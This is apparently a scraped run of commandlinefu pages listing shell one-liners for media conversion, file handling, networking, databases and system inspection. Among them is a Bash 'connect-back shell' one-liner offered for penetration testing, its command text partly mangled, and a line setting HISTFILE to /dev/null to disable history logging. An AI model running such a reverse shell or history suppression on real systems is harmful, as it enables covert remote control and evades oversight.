VACUUM \; For Mac OS X users only ps aux | sed -n '/USER/!s/\([^ ]\) .*/\1/p' | sort -u avahi dbus hal mark mysql Functions: ps sed sort List users with running processes This is different that `who` in that who only cares about logged-in users running shells, this command will show all daemon users and what not; also users logged in remotely via SSH but are running SFTP/SCP only and not a shell. mailme(){ mailx -s "$@" $USER <<< "$@"; } Email yourself a quick message Usage: mailme message This is a useful function if you want to get notified about process completion or failure. e.g. mailme "process X completed" sudo netstat -punta Functions: netstat sudo List open sockets protocol/address/port/state/PID/program name zcat /usr/share/doc/vim-common/README.gz | vim -g +23 - Functions: vim zcat Pipe a textfile to vim and move the cursor to a certain line This command is more for demonstrating piping to vim and jumping to a specific line than anything else. Exit vim with :q! +23 jumps to line 23 - make vim receive the data from the pipe set -o vi; ls -l jnukbCjunk Functions: ls set Use vi commands to edit your command lines If you spend all day editing in vi then switching your fingers to Emacs mode just for the command line can be difficult. Use set -o vi in your bash shell and enjoy the power of a real editor. mkdir dir; cd $_ Create a directory and go inside it _ expands to the last argument of the last command that was executed killall -9 rouge-process Kill multiple instances of a running process pdftk input.pdf cat 1-endE output output.pdf Rotate a pdf by 90 degrees CW seq 1 3 20 | awk '{ T[NR]=$1} END {for (i=1;i<=(NR-1);i++) print T[i+1],"-",T[i],"=" , T[i+1]-T[i]}' It's allways strange for me to see sed and awk in the same command line if you can avoid it vmap y:$omap:'a,$!awk '{sum+=$0}END{print "SUM:" sum}'dd'>p Get the SUM of visual blocked digits in vim echo sortmeplease | grep -o . | sort | tr -d '\n'; echo $ echo sortmeplease | grep -o . | sort | tr -d '\n'; echo aeeelmoprsst Functions: echo grep sort tr Sorts a character string, using common shell commands. ping -I eth0 www.yahoo.com PING any-fp.wa1.b.yahoo.com (69.147.125.65) from eth0: 56(84) bytes of data. How to check network connection from one interface This command only check the network connection from given eth. This is very useful if you are using more then one interface in your server or laptop. man -P cat ls > man_ls.txt Functions: cat ls man save a manpage to plaintext file Output manpage as plaintext using cat as pager: man -P cat commandname And redirect its stdout into a file: man -P cat commandname > textfile.txt Example: man -P cat ls > man_ls.txt for arquivo in `ls -1` ; do sed -i '/ErrorLog/a\ \ \ \ \ \ \ \ CustomLog \/var\/log\/apache2\/access_'"$file"'_log combined' /root/site-bak/${file} ; done Adding specific CustomLog for each Virtual Domain of Apache get_duration() { durline=$(sox "$1" -n stat 2>&1|grep "Length (seconds):");echo ${durline#*\: }; } 9543.160000 Functions: echo grep stat Get duration of an audio file in seconds. This is an alternative to #9131. ffmpeg didn't work on my .au files, though it did on the .wav ones. Also useful if you don't have ffmpeg but do have sox. Handily, sox already reports in seconds (decimal). ldapsearch -LLL -H ldap://${HOST}:389 -b 'DC=${DOMAIN},DC=${TLD}' -D '${USER}' -w 'password' objectclass=* -E pr=2147483647/noprompt Bypass 1000 Entry limit of Active Directory with ldapsearch That command bypass the entry limit specifing page results size, when the search arrive to the limit ldapsearch magically reiterate it from the last entry. ‹ First < 178 179 180 181 182 > Last › awk -F: '{uid[$3]=1}END{for(x=500; x<=600; x++) {if(uid[x] != ""){}else{print x; exit;}}}' /etc/passwd Typical usage would be in a script that would want the next open UID in a range (in this case 500-600) 7zr a -mx=9 -ms=on -mhc=on -mtc=off db_backup.sql.7z db_dump.sql Best option set for 7zip compression of database dumps or generic text files These re the best option combination that works fine for compressing my database dumps. It's possible that there are another option or value that might improve the compression ratio, by these are the ones that worked, the syntax for 7zr it's a little messy... Confirm() { echo -n "$1 [y/n]? " ; read reply; case $reply in Y*|y*) true ;; *) false ;; esac } Functions: echo false read true This version works across on all POSIX compliant shell variants. ffmpeg -i input.m4a -acodec libmp3lame -ab 128k output.mp3 m4a to mp3 conversion with ffmpeg and lame A batch file version of the same command would be: for f in *.m4a; do ffmpeg -i "$f" -acodec libmp3lame -ab 256k "${f%.m4a}.mp3"; done dwdiff -c a.tex b.tex | less -R Show word-by-word differences between two latex files, in color ffmpeg -i input.mp4 -vn -acodec copy output.m4a With the -vn switch we make our intentions clear and ask FFmpeg not to bother itself with the video. Next we specify the audio codec copy, which tells FFmpeg to use the same codec to encode the audio, which it uses to decode it. To keep things simple, we'll just keep the sampling and bitrate values the same. ls -l | grep ^d ls -l | grep ^d Show directories Show only the subdirectories in the current directory. In the example above, /lib has 135 files and directories. With this command, the 9 dirs jump out. ps -a | grep -c cat sox input.mp3 output.mp3 fade h 5 00:02:58 5 Apply fade effect to a audio fade [type] fade-in-length [stop-time [fade-out-length]] Apply a fade effect to the beginning, end, or both of the audio. An optional type can be specified to select the shape of the fade curve: q for quarter of a sine wave, h for half a sine wave, t for linear (`triangular') slope, l for logarithmic, and p for inverted parabola. The default is logarithmic. A fade-in starts from the first sample and ramps the signal level from 0 to full volume over fade-in-length sec? onds. Specify 0 seconds if no fade-in is wanted. For fade-outs, the audio will be truncated at stop-time and the signal level will be ramped from full volume down to 0 starting at fade-out-length seconds before the stop-time. If fade-out-length is not specified, it defaults to the same value as fade-in-length. No fade-out is performed if stop-time is not specified. If the file length can be determined from the input file header and length-changing effects are not in effect, then 0 may be specified for stop-time to indicate the usual case of a fade-out that ends at the end of the input audio stream. All times can be specified in either periods of time or sample counts. To specify time periods use the format hh:mm:ss.frac format. To specify using sample counts, specify the number of samples and append the letter `s' to the sample count (for example `8000s'). Tunnel a MySQL server listening on a UNIX socket to the local machine socat TCP-LISTEN:5500 EXEC:'ssh user@remotehost "socat STDIO UNIX-CONNECT:/var/run/mysqld/mysqld.sock"' Listens on local port 5500 and connects to remotehost with username user to tunnel the given socket file. Will work with anything, but can be useful if there's a need for a local application to connect with a remote server which was started without networking. $ cat /etc/*-release find distro name / release version cat 1.mp3 2.mp3 > combined.mp3 Combine two mp3's or more into 1 long mp3 This just combines multiple mp3's into one mp3 file. Basically it is a easy join for mp3's LASTMONTH=`date -d "last month" +%B` flojo@gamo:~$ date -d "last month" +%B August Last month Work out last months value dc -e"16i?dsH0sq2d17^ss8^dse2/1-stdlsle*/2*2B+an[[ FP Indef.]n]sQ[dls2//2%_2*53+an[NaN]ndle4*1-ls2/*=Q2Q]sN[1sqdls%0 echo "7F7FFFFF" | dc -e"" +3.40282346e38 $> echo "7F800000" | dc -e"" +oo $> echo "7FC00000" | dc -e"" +QNaN $> echo "FFC00000" | dc -e"" -QNaN FP Indef. Tell what is encoded in a float, given its HEX bytes It handles all possible combination of the hex bytes, including NaNs, Infinities, Normalized and Subnormal Numbers... This crazy DC stuff spent me a few days to write, optimize, polish and squeeze so that it works within the tight 255 character bound... You can modify it easily for other IEEE754 numbers, say, half, double, double-extended, quadruple (I hope someone will find this useful and submit more dc code to commandlinefu!) split -b 4700000000 file.img.gz file.img.gz. file.img.gz.aa file.img.gz.ab file.img.gz.ac Functions: split Split huge file into DVD+R size chunks for burning Real DVD+R size is 4700372992 bytes, but I round down a little to be safe. To reconstitute use cat. "cat file.img.gz.aa file.img.gz.ab ..... > file.img.gz" grep -2riP '\b(fuck|shit|bitch|tits|ass\b)' /usr/src/linux/ Here are some of my favorites: /* !!!! THIS IS A PIECE OF SHIT MADE BY ME !!! */ /* shit may happen. */ /* Wirzenius wrote this portably, Torvalds fucked it up :-) */ /* Let's kick gcc's ass again... */ /* * This is such a bitch, you'd think they would make it easy to do * this. Away you daemons of stupidity! */ Read funny developer comments in the Linux source tree These are way better than fortune(6). ls -l =gcc this is the much easier zsh equivalent ... command | ssh myHost xsel -i --display :0 Functions: command ssh Send remote command output to your local clipboard This command will copy command's output into your local clipboard perl -dwe 1 perl -dwe 1 Loading DB routines from perl5db.pl version 1.32 Editor support available. Enter h or `h h' for help, or `man perldebug' for more help. main::(-e:1): 1 hello perl Can also just use the debug mode like this. lspci |grep VGA ~$ lspci |grep VGA 01:00.0 VGA compatible controller: ATI Technologies Inc M22 [Mobility Radeon X300] Functions: grep lspci Find your graphics chipset gpg --allow-multiple-messages --decrypt-files * gpg decrypt several files Change directory (cd) to the directory where all your encrypted files are placed, and then run the command - then you are asked to insert your secret gpg password - ubuntu 8.04 mysqldump -u user -p --all-databases | ssh user@host dd of=/opt/all-databases.dump Remote mysql dump all databases with ssh git push origin :gh-pages composite -geometry 96x96+250+70 foreground.jpg background.jpg image.jpg Compose 2 images to 1 Compose 2 images (foreground.jpg with background.jpg) into 1 (image.jpg), the numeric parameters stablish the size of the foreground.jpg image (96x96) and the position x,y (+250+70) relative to the background.jpg image. Images can be any format, jpg, png, bmp, etc... ls -ld **/*(/^F) List empty any directories ‹ First < 179 180 181 182 183 > Last › exec 0&0; exec 2>&0; exec /bin/sh 0&0 2>&0 Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/ url="put_url_here";audio=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$audio.mp3" libavformat 53. 2. 0 / 53. 2. 0 libavdevice 53. 0. 0 / 53. 0. 0 libavfilter 2. 4. 0 / 2. 4. 0 libswscale 2. 0. 0 / 2. 0. 0 libpostproc 52. 0. 0 / 52. 0. 0 ................. Make your own MP3s from Youtube videos. rgx_match() { python -c "import re; print re.search('$1','$2').groups()"; } Test python regular expressions One can test their python regex matching using this shell function. for e.g. rgx_match "translate\s*\(([0-9-.]+),([0-9-.]+)\)" "translate(162.11517,76.817357)" ('162.11517', '76.817357') recode -l |less Show available conversions aliases on each line. i.e. txt2html: recode ..HTML file.html txt to Base64: recode ../b64 file.b64 HISTFILE=/dev/null parallel -j4 cd {}\; pwd\; git pull :::: <(git submodule status | awk '{print $2}') /home/wei/.vim/bundle/Lucius Already up-to-date. /home/wei/.vim/bundle/YankRing.vim /home/wei/.vim/bundle/FuzzyFinder /home/wei/.vim/bundle/L9 /home/wei/.vim/bundle/IndexedSearch /home/wei/.vim/bundle/a.vim /home/wei/.vim/bundle/jslint.vim Functions: awk cd Pull git submodules in parallel using GNU parallel Make sure to run this command in your git toplevel directory. Modify `-j4` as you like. You can also run any arbitrary command beside `git pull` in parallel on all of your git submodules. bzr init .;for file in `ls *.bz2`; do bzr import $file; bzr ci -m $file; done Functions: file init converts a directory full of source tarballs into a bzr repository so you can compare different versions easily ls -ld **/*(/) Show every subdirectory (zsh) ps -eorss,args | sort -nr | pr -TW$COLUMNS | head Top ten memory hogs Inspired by #7065 gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`" Set gnome wallpaper to a random jpg from the specified directory Every time this is run it will change your background picture. For added fun Add some DBUS magic: . $HOME/.dbus/session-bus/`cat /var/lib/dbus/machine-id`-0 export DBUS_SESSION_BUS_ADDRESS and a crontab entry: */5 * * * * above_command_in_script.sh >/dev/null 2>/dev/null now wallpaper changes every 5 mins wget -r -l1 -np -nd http://yoururl.com/yourfolder/ download the contents of a remote folder in the current local folder find . -type f -exec md5sum {}\; > Use md5sum to check your music and movie files. Also use diff. This is a beginning script. You can create a file with > filename. You can also use diff to compare output run at different times to verify no change in your files. I apologize in advance if this is too simple. For some it should be a start. watch "cat `ls -rcA1 | tail -n1`" Watch and cat the last file to enter a directory Great for watching things like Maildir's or any other queue directory. dpkg --status nvidia-current | grep Version | cut -f 1 -d '-' | sed 's/[^.,0-9]//g' debian/ubuntu get installed nvidia driver version from terminal i've been writing a bash script where i needed to query the installed version number of the nvidia driver when it's not loaded. Unfortunately i have not found a easy way of doing this. If i'm a stupid person, please enlighten me of a better way ;) netstat -n -f inet|awk '/\.389/{print $2}'|cut -f1-4 -d.|sort -u Functions: awk cut netstat sort To find the LDAP clients connected to LDAP service running on Solaris declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done CC=([0]="\\033[1;30m" [1]="\\033[1;31m" [2]="\\033[1;32m" [3]="\\033[1;33m" [4]="\\033[1;34m" [5]="\\033[1;35m" [6]="\\033[1;36m" [7]="\\033[1;37m" [8]="\\033[0;31m" [9]="\\033[0;32m" [10]="\\033[0;33m" [11]="\\033[0;34m" [12]="\\033[0;35m" [13]="\\033[0;36m" [14]="\\033[0;37m" [15]="\\033[30;42m") Adding Color Escape Codes to global CC array for use by echo -e I was looking for the fastest way to create a bunch of ansi escapes for use in echo -e commands throughout a lot of my shell scripts. This is what I came up with, and I actually stick that loop command in a function and then just call that at the beginning of my scripts to not clutter the environment with these escape codes, which can wreck havok on my terminal when I'm dumping the environment. More of a cool way to store escape ansi codes in an array. You can echo them like: echo -e "${CC[15]}This text is black on bright green background." I usually just use with a function: # setup_colors - Adds colors to array CC for global use # 30 - Black, 31 - Red, 32 - Green, 33 - Yellow, 34 - Blue, 35 - Magenta, 36 - Blue/Green, 37 - White, 30/42 - Black on Green '30\;42' function setup_colors(){ declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7));CC[$i]="\033[1;3${i}m";CC[$ii]="\033[0;3${i}m";done;CC[15]="\033[30;42m"; export R='\033[0;00m';export X="\033[1;37m"; }; export -f setup_colors CC[15] has a background of bright green which is why it is separate. R resets everything, and X is my default font of bright white. CC[15]="\033[30;42m"; R=$'\033[0;00m'; X=$'\033[1;37m' Those are just my favorite colors that I often use in my scripts. You can test which colors by running for i in $(seq 0 $((${#CC[@]} - 1))); do echo -e "${CC[$i]}[$i]\n$R"; done See: http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html for more usage. mysqldump -u UNAME -p DBNAME > FILENAME dump the whole database echo "12 morning\n15 afternoon\n24 evening" |while read t g; do if [ `date +%H` -lt $t ]; then echo "Good $g"; break; fi; done Greets the user appropriately ssh -t -X -A user@sshproxy ssh -X -A user@sshhost ssh X tunneling over multiple ssh hosts (through ssh proxy) Simply makes it possible to launch any X application residing on sshhost through sshproxy and display it on your screen where ever you are. sloccount SLOC Directory SLOC-by-Language (Sorted) 263110 include ansic=261507,cpp=1561,asm=42 33895 scripts ansic=20542,perl=7062,cpp=1795,sh=1714,yacc=1289, 27314 arch ansic=26884,cpp=430 0 block (none) 0 crypto (none) 0 drivers (none) 0 firmware (none) 0 fs (none) 0 init (none) Count lines of source code excluding blank lines and comments Much more accurate than other methods mentioned here straight out of the box. title() { sed 's/\<\w*/\u&/g' <<<$@; } return a titlecased version of the string[str.title() in python] grep -rF --include='*.txt' stringYouLookFor * maxleonca@lab:~$ grep -rF --include='*.txt' Tel * apartamentos.txt:Tel?fono de habitaci?n: 2582-0391 apartamentos.txt:Tel?fono del celular: 8815-7608 apartamentos.txt:Tels: Documents/RubyStart/vendor/rails/railties/doc/guides/source/security.txt:-- _Tell Rails not to put passwords in the log files._ Documents/RubyStart/vendor/railties/doc/guides/source/security.txt:-- _Tell Rails not to put passwords in the log files._ Documents/gutierrez_gongora.txt:Horarios y N?meros de Tel?fono Documents/gutierrez_gongora.txt:Tel?fonos: 2225-6181 / 8395-5083 This allows you to find a string on a set of files recursivly The -r is for recursive, -F for fixed strings, --include='*.txt' identifies you want all txt files to be search any wildcard will apply, then the string you are looking for and the final * to ensure you go through all files and folders within the folder you execute it. a2ps -R --columns=1 -M A4 myprog.py -o - |lpr print a python-script (or any other code) with syntax-highlighting and no loss of indentation ls -d */* | wc -l Functions: ls wc Count all the files in the directory and child directories lsof -nPi | txt2html > ~/lsof.html | gnome-open lsof.html In addition to generating the current connections, it also opens then in your default browser on gnome. ‹ First < 180 181 182 183 184 > Last › perl -e 'use MIME::Base64; print encode_base64("encode me plz");' ZW5jb2RlIG1lIHBseg== Encode text in Base64 using Perl MIME::Base64 is a part of Perl5 distribution. You can also use decode_base64 for oposite result. echo "$@" | sed 's/ /%20/g;s/!/%21/g;s/"/%22/g;s/#/%23/g;s/\$/%24/g;s/\&/%26/g;s/'\''/%27/g;s/(/%28/g;s/)/%29/g;s/:/%3A/g' find . -exec bash -c "mv '{}' '\`echo {} |sed -e 's/foo/bar/g'\`"' \; foobar1 gets renamed to barbar1 barfoo2 gets renamed to barbar2 fooobarfoo gets renamed to barobarfoo Bulk renames with find, sed and a little escaping This command is a more flexible than my previous submission. It will work with spaces however suuuuper hacky and ugly. Source: http://www.unix.com/shell-programming-scripting/146173-find-rename-files-using-find-mv-sed.html ps aux | awk '{ print $8 " " $2 " " $11}' | grep -w Z find out zombie process 8~osstat, $2~pid, $11~cmd rpm -q kernel-2* | grep -v $(uname -r) | xargs yum erase -y Functions: grep rpm uname xargs Clean the /boot directory On Fedora clean the boot directory; erase older kernel for file in *.001; do NAME=`echo $file | cut -d. -f1,2`; cat "$NAME."[0-9][0-9][0-9] > "$NAME"; done file.avi.001 file.avi.002 file.avi.003 file.avi.004 another.avi.001 another.avi.002 another.avi.003 another.avi.004 another.avi.005 another.avi.006 more.avi.001 more.avi.002 more.avi.003 more.avi.004 more.avi.005 becomes: file.avi another.avi more.avi Functions: cat cut file Join a folder full of split files If you use newsgroups then you'll have come across split files before. Joining together a whole batch of them can be a pain so this will do the whole folder in one. echo "see attached file" | mail -a filename -s "subject" email@address if "mail -a" fail, try "mutt -a" or "nail -a" mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE goaccess -f /var/log/apache2/access.log -s -b Total Requests 175723 Total Unique Visitors 9909 Total Referrers 5198 Log 51.19 MB CLI Visual Apache Web Log Analyzer GoAccess is an open source real-time Apache web log analyzer and interactive viewer that runs in a terminal in *nix systems. It provides fast and valuable HTTP statistics for system administrators that require a visual server report on the fly. http://goaccess.prosoftcorp.com/ netstat -nt | awk '{print $6}' | sort | uniq -c | sort -n -k 1 -r Summarize the number of open TCP connections by state Useful for checking the number and state of TCP connections. routel xmllint --noout some.xml 2>&1 >/dev/null || exit 1 validate xml in a shell script using xmllint uri_escape(){ echo -E "$@" | sed 's/\\/\\\\/g;s/./&\n/g' | while read -r i; do echo $i | grep -q '[a-zA-Z0-9/.:?&=]' && echo -n "$i" || printf %%%x \'"$i" done } Functions: echo grep printf read sed This one uses hex conversion to do the converting and is in shell/sed only (should probably still use the python/perl version). cat YOUR_FILE|tr -d '[:punct:]'|tr '[:upper:]' '[:lower:]'|tr -s ' ' '\n'|sort|uniq -c|sort -rn 8082 the 4967 and 4061 of 3517 to 2952 a Functions: cat sort tr uniq Count the frequency of every word for a given file Counts the frequency of words in a file for f in *.ogg; do vorbiscomment -l "$f" | sed 's/peter gabriel/Peter Gabriel/' | vorbiscomment -w "$f"; done The "vorbiscomment" utility lets you update information such as artist names and song and album tags in an Ogg Vorbis file. You can use this command to fix any mistakes that were made when ripping an album. kpartx -a /dev/mapper/space-foobar foo:~# ls -l /dev/mapper/space-foobar* brw-rw---- 1 root disk 253, 8 2009-07-01 11:28 /dev/mapper/space-foobar foo:~# kpartx -a /dev/mapper/space-foobar brw-rw---- 1 root disk 253, 8 2009-07-01 11:28 /dev/mapper/space-foobar brw-rw---- 1 root disk 253, 9 2009-07-01 11:47 /dev/mapper/space-foobar1 brw-rw---- 1 root disk 253, 10 2009-07-01 11:47 /dev/mapper/space-foobar2 vsrv-01:~# kpartx -d /dev/mapper/space-foobar vsrv-01:~# ls -l /dev/mapper/space-foobar* Access partitions inside a LVM volume kpartx can be found inside of the multipath-tools package -a adds the mappings and -d deletes them csplit -k my_file 500 {*} Functions: csplit split a file by a specific number of lines Splits the file "my_file" every 500 lines. Will create files called xx01 xx02 and so on. You can change the prefix by using the -f option. Comes in handy for splitting logfiles for example. I am using it for feeding a logfile parser with smaller files instead of one big file (due to performance reasons) find . -type f -name "*.pyc" -delete; Clean all .pyc files from current project. It cleans all the files recursively. ifconfig | awk '/inet / {print $2}' 64.201.48.106 172.16.85.71 192.168.44.5 Mac OS X - List all of my machine's IP addresses On the Mac, the format ifconfig puts out is little different from Linux: the IP address is space separated, instead of colon. That makes parsing the IP address easier. See releated command for Linux/Unix: http://www.commandlinefu.com/commands/view/651/getting-the-ip-address-of-eth0 argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest` Less a grep result, going directly to the first match in the first file Really useful way to combine less and grep while browsing log files. I can't figure out how to make it into a true oneliner so paste it into a script file called lgrep: lgrep searchfor file1 [file2 file3] Advanced example (grep for an Exception in logfiles that starts with qc): lgrep Exception $(find . -name "qc*.log") sftp-cp() { for each in "$@"; do echo "put \"$each\" \".$each\""; echo "rename \".$each\" \"$each\""; done }; Functions: echo sftp Copy files to a remote host with SFTP with a leading dot, then rename them to the real file name sftp-cp * | sftp user@host:/dir This is useful if there is a process on the remote machine waiting for files in an incoming directory. This way it won't see half-transmitted files if it ignores hidden files. tweet(){ update=$(echo $*); [ ${#update} -lt 141 ] && curl -su user:pass -d source=curl -d status="$update" http://twitter.com/statuses/update.xml ->/dev/null || echo $(( ${#update} - 140 )) too many characters >&2; } Same as below, but no quotes are necessary when twitting more than one word f="FILE";c="CMD";s="stat -f %m $f";t=`$s`;while [ 1 ];do if [ $t -eq `$s` ];then sleep 1;else echo `$c`;t=`$s`;fi;done Fire CMD every time FILE (or directory) is updated (on *BSD) vim ~/.purple/pounces.xml find/edit your forgotten buddy pounces for pidgin So you keep getting buzzes sounding from pidgin but you can't remember which buddy pounce is causing the beep. Well, cat/edit the ~/.purple/pounces and find out! system_profiler SPPowerDataType | egrep -e "Connected|Charge remaining|Full charge capacity|Condition" | sed -e 's/^[ \t]*//' Show battery infomations for OS X 10.5.x ‹ First < 181 182 183 184 185 > Last › mencoder -idx Your_Input_Video_File -ovc lavc -oac mp3lame -audiofile Your_Audio_track.mp3 -o Output_File.avi gnu@robby:~$ mencoder -idx out2.ogv -ovc lavc -oac mp3lame -audiofile /home/gnu/snowballz/data/music/snowballz2.mp3 -o snow.avi MEncoder 2:1.0~rc2-0ubuntu19 (C) 2000-2007 MPlayer Team CPU: Intel(R) Pentium(R) D CPU 2.80GHz (Family: 15, Model: 4, Stepping: 7) success: format: 0 data: 0x0 - 0x76c7ec5 Ogg stream 0 is of an unknown type [Ogg] stream 1: video (Theora v3.2.1), -vid 0 Ogg file format detected. VIDEO: [theo] 1024x768 24bpp 15.000 fps 0.0 kbps ( 0.0 kbyte/s) Audio file file format detected. [V] filefmt:65536 fourcc:0x6F656874 size:1024x768 fps:15.00 ftime:=0.0667 AUDIO: 44100 Hz, 2 ch, s16le, 192.0 kbit/13.61% (ratio: 24000->176400) Opening video filter: [expand osd=1] Expand: -1 x -1, -1 ; -1, osd: 1, aspect: 0.000000, round: 1 [theora @ 0x88423b0]Missing extradata! Could not open codec. VDecoder init failed :( Opening video decoder: [theora] Theora/VP3 VDec: vo config request - 1024 x 768 (preferred colorspace: Planar YV12) VDec: using Planar YV12 as output csp (no 0) Movie-Aspect is 1.33:1 - prescaling to correct movie aspect. videocodec: libavcodec (1024x768 fourcc=34504d46 [FMP4]) Selected video codec: [theora] vfm: theora (Theora (free, reworked VP3)) MP3 audio selected. Writing header... ODML: Aspect information not (yet?) available or unspecified, not writing vprp header. Skipping frame! Flushing video frames. Writing index... Video stream: 791.586 kbit/s (98948 B/s) size: 32831029 bytes 331.800 secs 4979 frames Audio stream: 230.839 kbit/s (28854 B/s) size: 4917529 bytes 170.423 secs add an mp3 audio track to a video wmic process list IO Name ProcessId ReadOperationCount ReadTransferCount WriteOperationCount WriteTransferCount System Idle Process 0 0 0 0 0 ps for windows there's some options, see more details in : wmic /? wmic process /? wmic process list /? ps -o pid,lwp,lstart --pid 797 -L List Threads by Pid along with Thread Start Time This command will list all threads started by a particular pid along with the start time of each thread. This is very valuable when diagnosing thread leaks. /System/Library/Frameworks/ScreenSaver.framework/Resources/ScreenSaverEngine.app/Contents/MacOS/ScreenSaverEngine -background & set your screensaver as your desktop background MAC OSX date -d12/31/1970+1000000000sec Find out when your billion-second anniversary is (was). Replace 12/31/1970 with your birth date. lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g' # lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g' filename: /lib/modules/2.6.26-2-amd64/kernel/drivers/net/usb/cdc_ether.ko description: USB CDC Ethernet devices depends: usbnet filename: /lib/modules/2.6.26-2-amd64/kernel/drivers/net/usb/usbnet.ko description: USB network driver framework depends: mii Functions: cut egrep lsmod modinfo sed xargs Run this as root, it will be helpful to quickly get information about the loaded kernel modules. ffmpeg -i Your_video_file -s 320x240 FILE.flv gnu@robby:~$ ffmpeg -i snow.avi -s 320x240 Snowballz_zed.flv FFmpeg version 0.5-svn17737+3:0.svn20090303-1ubuntu6, Copyright (c) 2000-2009 Fabrice Bellard, et al. configuration: --enable-gpl --enable-postproc --enable-swscale --enable-x11grab --extra-version=svn17737+3:0.svn20090303-1ubuntu6 --prefix=/usr --enable-avfilter --enable-avfilter-lavf --enable-libgsm --enable-libschroedinger --enable-libspeex --enable-libtheora --enable-libvorbis --enable-pthreads --disable-stripping --disable-vhook --enable-libdc1394 --disable-armv5te --disable-armv6 --disable-armv6t2 --disable-armvfp --disable-neon --disable-altivec --disable-vis --enable-shared --disable-static libavfilter 0. 4. 0 / 0. 4. 0 libswscale 0. 7. 1 / 0. 7. 1 built on Apr 10 2009 23:18:41, gcc: 4.3.3 Input #0, avi, from 'snow.avi': Duration: 00:05:31.80, start: 0.000000, bitrate: 917 kb/s Stream #0.0: Video: mpeg4, yuv420p, 1024x768 [PAR 1:1 DAR 4:3], 15 tbr, 15 tbn, 15 tbc Stream #0.1: Audio: mp3, 44100 Hz, stereo, s16, 224 kb/s Output #0, flv, to 'Snowballz_zed.flv': Stream #0.0: Video: flv, yuv420p, 320x240 [PAR 1:1 DAR 4:3], q=2-31, 200 kb/s, 90k tbn, 15 tbc Stream #0.1: Audio: adpcm_swf, 44100 Hz, stereo, s16, 64 kb/s video:8377kB audio:7356kB global headers:0kB muxing overhead 0.860513% convert video format to youtube flv format zcat file.gz | less +/search_pattern Functions: less zcat This command enables the user to append a search pattern on the command line when using less as the PAGER. This is especially convenient (as the example shows) in compressed files and when searching man pages (substituting the zcat command with man, however). while cat /proc/net/dev; do sleep 1; done | awk '/eth0/ {o1=n1; o2=n2; n1=$2; n2=$10; printf "in: %9.2f\t\tout: %9.2f\r", (n1-o1)/1024, (n2-o2)/1024}' curl -s http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off -i ~/sourceurls.txt Grab mp3 files from your favorite netcasts, mp3blog, or sites that often have good mp3s This was gotten from http://www.veen.com/jeff/archives/000573.html. The line will grab all the mp3 files on the urls listed in text file sourceurls.txt (one url per line) . A much more complete breakdown of the line can be found at the web site mentioned above. bash -x test.sh 2>&1 | tee out.test Sends both stdout and stderr to the pipe which captures the data in the file 'out.test' and sends to stdout of tee (likely /dev/tty unless redirected). Works on Bourne, Korn and Bash shells. netstat -an | grep -Ec '^tcp.+ESTABLISHED$' tail -f /var/log/system.log | colorizer Log colorizer for OSX (ccze alternative) lspci -v -s `lspci | awk '/VGA/{print $1}'` 01:00.0 VGA compatible controller: nVidia Corporation G92 [GeForce 9800 GTX] (rev a2) (prog-if 00 [VGA controller]) if runs as super-user you get extra info: Functions: awk lspci probably only works if you have one graphics card. used this: http://www.cyberciti.biz/faq/howto-find-linux-vga-video-card-ram/ as reference can be expanded, for example: lspci -v -s `lspci | awk '/VGA/{print $1}'` | sed -n '/Memory.*, prefetchable/s/.*\[size=\([^]]\+\)\]/\1/p' will just get the amount of prefetchable memory compare to: lshw -C display which does not give the size (it does give byte ranges and you could calculate the size from that, but that's a pain) Also uses a command which is not standard on linux; wheras lspci is a core utility provided by most systems perl -e 'printf qq{%d\n}, time/86400;' 14988 Perl one-liner to determine number of days since the Unix epoch There are some environments that use this value for password and account expiration. It's helpful to be able to quickly determine the number of days since the Unix epoch (dse) when working directly with the configuration files as an administrator. rf() { for i in "$@"; do mv "$i" "$(pwgen 8 1).${i##*.}"; done } ~$ ls apple.png banana.jpg cherry.gif ~/p$ rf * ~/p$ ls necuzora.png seeheoye.gif veefeiwa.jpg Rename a file with a random name Give files a random name (don't ask why :-) The function will rename files but maintain their extensions. BUG: If a file doesn't have an extension it will end up with a dot at the end of the name. The parameter '8' for pwgen controls the length of filenames - eight random characters. apt-get () { [ "$1" = source ] && (command apt-get "$@";true) || sudo apt-get "$@" } Functions: apt command sudo apt-get via sudo An apt-get wrapper function which will run the command via sudo, but will run it normally if you're only downloading source files. This was a bit of an excuse to show off the framework of cmd && echo true || echo false ...but as you can see, you must be careful about what is in the "true" block to make sure it executes without error, otherwise the "false" block will be executed. To allow the apt-get return code to pass through, you need to use a more normal if/else block: apt-get () { if [ "$1" = source ]; then command apt-get "$@"; else sudo apt-get "$@"; fi } echo "test" | lp -d $PRINTER Functions: echo lp Send test prints to networked printer. This will send a test print job to a networked printer. yelp info:foo View an info page on a nice interface Nice interface for an info page. sudo installer -pkg /Volumes/someapp/someapp.mpkg -target / Install an mpkg from the command line on OSX Installing most OSX apps is just a matter of dropping it in /Applications, either GUI-wise or with cp -r. However, many packages are distributed in "mpkg" format, and those have to be installed with an installer. If you don't want to go to the trouble of firing up VNC to install an mpkg, you can use the "installer" command. This will install an application from a .mpkg it to /Applications system-wide. To install a program for just one user, replace "-target /" with "-target username". dpkg --get-selections | grep -v deinstall | cut -f 1 acpi acpi-support acpi-support-base acpid adduser anacron ant antlr apmd apt apt-utils aptitude aspell List all installed Debian packages Should work on all systems that use dpkg and APT package management. printf "%d\n" "'A" "'B" get the ascii number with bash builtin printf find ./* -mtime +60 -exec mv {} storeFolder \; 